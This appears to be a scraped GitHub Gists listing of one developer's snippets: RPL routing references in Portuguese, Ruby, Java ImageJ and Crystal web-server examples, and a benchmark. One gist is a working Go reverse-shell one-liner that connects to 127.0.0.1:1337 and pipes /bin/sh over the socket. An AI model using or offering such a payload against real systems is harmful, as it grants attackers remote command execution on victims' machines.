This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
VASSEUR, J.P.; AGARWAL, N.; HUI, J. RPL: The IP routing protocol designed for low power and lossy networks. Abril de 2011. | |
PARADISI, A.; TIBERGHIEN, J. Rpl dodag. Disponível em: http://pt.slideshare.net/asobimat/rpl-dodag | |
LOUREIRO, A.A.F.; NOGUEIRA, J.M.S; RUIZ, L.B. Redes de Sensores sem Fio. Belo Horizonte, Minas Gerais. | |
STRAUS, M. M. IWoT Internet of Thing and Web of Things: challenges and opportunities. 25 de Maio de 2013. | |
SIMO, G.L.D. Rpl:Routing Protocol for Low-Power and Lossy Networks. Disponível em: http://pt.slideshare.net/landrysimo16/rplrouting-protocol-for-lowpower-and-lossy-networks | |
CHIRGWIN, R. WTF is Routing Protocol for Low-Power and Lossy Networks?. Disponível em: http://www.theregister.co.uk/2013/08/30/wtf_is_rpl/ | |
RFC 6550 - RPL: IPv6 Routing Protocol for Low-Power and Lossy Networks. Disponível em: https://tools.ietf.org/html/rfc6550 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Agent = Struct.new(:x, :y) | |
$agent = Agent.new(rand(0..9), rand(0..9)) | |
$scenario = Array.new(10) { Array.new(10, '-') } | |
10.times { $scenario[rand(0..9)][rand(0..9)] = '*' } | |
$scenario[$agent.x][$agent.y] = 'X' | |
$last_direction = 1 | |
$count = 0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package aulavisaocomp; | |
import ij.ImagePlus; | |
import ij.io.Opener; | |
import ij.process.ByteProcessor; | |
import ij.process.ColorProcessor; | |
import ij.process.ImageProcessor; | |
import java.awt.Color; | |
import java.awt.image.BufferedImage; | |
import java.io.File; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require "http/server" | |
require "http/server/handlers/websocket_handler" | |
handlers = [] of HTTP::Handler | |
handlers << HTTP::LogHandler.new | |
handlers << HTTP::WebSocketHandler.new do |req| | |
puts "> #{req}" | |
end | |
server = HTTP::Server.new(3000, handlers) | |
server.listen |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require "banjo" | |
require "http" | |
class WelcomeController < Banjo::Controller::Base | |
def index | |
end | |
def test | |
render text: "aaa" | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package aulacompgrafica; | |
import ij.ImagePlus; | |
import ij.io.Opener; | |
import ij.process.ByteProcessor; | |
import ij.process.ColorProcessor; | |
import ij.process.ImageProcessor; | |
import java.awt.Color; | |
public class AulaCompGrafica { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'sinatra' | |
get '/:name' do | |
"Hello world, #{params[:name]}!" | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require "frank" | |
get "/:name" do |ctx| | |
"Hello world, #{ctx.params["name"]}!" | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1337");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require "./bojack/src/bojack/client" | |
require "benchmark" | |
client = BoJack::Client.new | |
N = 100 | |
Benchmark.bm do |x| | |
x.report "shared" do | |
N.times do | |
client.set "bo", "jack" | |
end |
OlderNewer